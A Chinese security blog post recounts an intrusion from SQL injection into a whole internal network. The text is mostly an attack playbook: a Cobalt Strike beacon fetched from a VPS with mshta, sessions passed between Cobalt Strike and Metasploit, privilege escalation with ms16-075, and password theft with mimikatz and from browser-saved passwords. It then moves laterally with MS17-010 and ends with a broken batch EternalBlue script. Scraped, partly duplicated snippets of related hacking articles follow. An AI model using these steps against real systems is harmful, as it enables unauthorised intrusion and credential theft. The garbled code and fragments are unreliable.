安全攻防 | 记一次sql注入到内网漫游

VSole2022-12-05 11:01:00

对于红队队员来说,打点之后最重要的就是横向的内网渗透了,但很多人都卡在了这一步,今天这篇文章就主要讲一讲cobaltstrike和msf的联动,内网渗透的一些小思路,以及我遇到的一些msf和cs的坑

从SQL注入到CS上线

SQL注入方面就不详细赘述了,相信大家都很了解,目标站存在一个POST型的注入,且为SA用户,MSSQL的数据库,所以我们呢就可以直接进行--OS-SHELL

我们先在cs建立一个监听,host填写vps地址,端口随便定义

Windows/beacon_http/reverse_http

下一步就是生成一个HTML木马,ATTacks-packages-HTML我们选择刚才新建的那个监听,然后选择方法powershell

之后就是选择你刚刚生成的木马,在你的vps上建立一个下载链接

在目标机器上通过mshta执行

然后这时候我们就会看到我们的CS里多出了一个目标

但是这个时候我们发现这个机器的权限是MSSQLSERVER,这对于我们来说是远远不够的,这个时候我们就要进行提权操作,CS中自带了几个提权的脚本,你也可以通过插件来获取其他提权脚本,但是我用CS的脚本进行提权都以失败告终,所以我需要把这个session传输到MSF里面

CS和MSF的session的互传

这一步是走向内网的第一步,也可以说是打点渗透的最后一步,可以说是非常重要的了,我们首先需要在CS中建立一个全新的监听,以便于session的传输

这个监听HOST填写你的vps,port随意,这里我的msf装在了vps上,所以我们打开vps,新建一个screen,运行msf,然后选择exploit/multi/handler之后我们设置payload,设置成和cs对应的如图所示

Windows/foreign/reverse_tcp

之后就是设置LHOST和LPORT,由于我的CS监听设置的地址就是vps的地址,所以我们在vps上监听0.0.0.0就可以,然后lport写刚刚你在cs上设置的port,一切设置完成我们先在msf上run起来,之后在cs上选择刚刚上线的机器,在beaconshell中输入spawn+刚刚你设置的msf监听名字就可以了,过一会儿我们就能看到msf中有机器上线

下一步就是利用msf提权,这里我们先把这个session放到后台,用bg命令就可以

之后我们用这个插件 post/multi/recon/local_exploit_suggester,进去之后我们set session * *就是刚刚你msf监听到的那个session的序号,这个插件就会自动检测目标系统版本以及可以利用的提权脚本,我们运行一下试试

可以看到,这些脚本就是可用的,这里我用了最后一个ms16-075这个漏洞

可以看到,提权成功,返回了一个新的system权限的session,下面我们尝试通过msf把这个session注入回到cs中使用

exploit/windows/local/payload_inject

把payload设置成我们cs建立的第一个监听的payload即

windows/meterpreter/reverse_http

然后设置host,port以及要传回去的session

我们可以看到CS上返回了一个system权限的shell

这个时候我们就可以愉快的使用mimikatz等工具来把administrator的密码偷来

但是有的机器改了RDP服务的端口怎么办呢,我们可以用cs的进程管理,找到rdp服务的PID,然后在beacon中输入powershell netstat -ano,就可以找到这个PID对应的端口了

内网渗透的一些思路

我们拿到了一台机器,如何进行下一步的内网嗅探呢,cs中自带了一个portscan,当然你也可以通过socks把nmap,msf之类的带入到内网,这里我们就用cs自带的工具

我们可以看到他的内网比较简单,我进去转了一圈发现也只有一些打印机,路由器,还有一个oracle,我们通过受害机的浏览器中保存的密码进入到了其中,新建项目即可传war包,上传jsp木马,还有就是剩下几台445的windows主机了,由于我比较懒,就不把msf带入了,直接传一个ms17010的利用工具

至此,内网全部主机沦陷,打完收工,内网方面错综复杂,大家可以注意一些未授权访问啊,弱口令啊,浏览器保存的密码啊,整理出属于这个网段的密码字典,然后密码复用,细心总会有意外惊喜

最后,贴上一个自己写的ms17010批量工具,是刚刚利用的时候突发奇想写的,还没调试,希望各位大佬不要笑话,有时间帮小弟调试修改一下,在这里给大家磕头了

import sysimport osfor a in range (0,256):    a = str(a)    ip = "xx.xx.xx.""+a+"    def ms(config):        config=open('ms17010.rc','w')        config.write('use exploit/windows/smb/ms17_010_eternalblue'+"")        config.write('set PAYLOAD windows/x64/meterpreter/reverse_tcp'+"")        config.write('set RHOST '+ip+"")        config.write('set LHOST "445"')        config.write('exploit'+"")    ms('')def main():    mg=os.system('msfconsole -r /root/ms17010.rc')if __name__ == '__main__':    main()
sql注入msf
本作品采用《CC 协议》,转载必须注明作者和本文链接
正文首先使用amass 和subfinder 枚举子域,并借助 tomnomnom 制作的工具,即anew 。amass enum -d site.com -passive | anew subs.txt && subfinder -d site.com -silent | anew subs.txt. 之后,我使用httpx来过滤活动域,使用以下命令cat subs.txt | httpx -mc 200 -o 200-subs.txt. 我尝试输入 ' 并显示一条错误消息。我很快继续上传一个 shell,它成功了。一切运行完毕后,就可以使用 webshell 上传之前创建的 payload 了,然后使用命令执行功能来执行刚上传的这个 Payload。我立即报告了我的发现,并且由于我发现的错误,我收到了几个确认和奖励,因为它们包含多个网站。
然后设置host,port以及要传回去的session我们可以看到CS上返回了一个system权限的shell这个时候我们就可以愉快的使用mimikatz等工具来把administrator的密码偷来但是有的机器改了RDP服务的端口怎么办呢,我们可以用cs的进程管理,找到rdp服务的PID,然后在beacon中输入powershell?
数据库注入提权总结
2022-08-09 16:49:49
select * from test where id=1 and ;布尔盲注常见的布尔盲注场景有两种,一是返回值只有True或False的类型,二是Order by盲注。查询结果正确,则延迟3秒,错误则无延时。笛卡尔积延时大约也是3秒HTTP头注入注入手法和上述相差不多,就是注入点发生了变化HTTP分割注入常见场景,登录处SQL语句如下
option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml%27单引号尝试:存在sql注入sqlmap 走起!跑数据 格式有点问题。获取到管理员加密后的密码$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu使用john 来破解john pwd --wordlist=/usr/share/wordlist/rockyou.txt admin/snoopy 登录后台3x0:后台篇在后台查找一番发现 类似于模板的页面可以利用模板的信息在结合上面的端口信息没有ssh应该是从web端进入 webshell?就接着用了4x0:提权篇查看系统的内核版本启动kali上的apache,把exp上传到服务器把exp下载到靶机解压exp授权脚本使用exp报错不影响使用获取到root权限5x0:flag获得
接着老毛病就犯了,上去就输入了个1查询接着输入了1’啧啧啧,这明显有SQL注入哇。果断掏出SQLMAP神器。结局很完美,不仅存在注入,还是DBA的权限。初步信息搜集既然拿到了shell,那么第一步肯定是信息搜集了。免杀shellcode完美上线这里我用的K8gege的 Ladon插件进行扫描内网得,主要扫描出来的结果格式比较好看。横向渗透&进一步信息搜集内网第一波那必须的是MS17-010了,这里我同样用K8gege的Ladon。
漏洞及渗透练习平台 数据库注入练习平台 花式扫描器 信息搜集工具 WEB工具 windows域渗透工具 漏洞利用及攻击框架 漏洞POC&EXP 中间人攻击及钓鱼 密码pj 二进制及代码分析工具 EXP编写框架及工具 隐写相关工具 各类安全资料 各类CTF资源 各类编程资源 Python
id=10结尾,我们猜测可能是一个sql注入点。首先我们在id=10后面加上一个单引号’进行判断。网站所呈现的内容是由代码中写入的sql语句调用数据库中的内容进行一个呈现,例如我们刚刚看到的文字。而sql注入漏洞一般是由于程序员书写的sql语句不规范所导致的安全事件。例如网站源码中使用如下的sql语句进行查询。发现10列的时候报错,说明不足10列,我们继续缩小范围。发现会分别回显第三列、第五列和第七列。
不甘心,案例找不出来,我把代码审计一遍还不行吗?于是就通过webshell打包了一份代码,于是便有了这篇文章。0x02 漏洞利用还是先简单聊聊sql注入如何拿下内网的吧。因此可以下定结论,该漏洞在未经授权就可被利用。
不甘心,案例找不出来,我把代码审计一遍还不行吗?于是就通过webshell打包了一份代码,于是便有了这篇文章。0x02 漏洞利用还是先简单聊聊sql注入如何拿下内网的吧。因此可以下定结论,该漏洞在未经授权就可被利用。
VSole
网络安全专家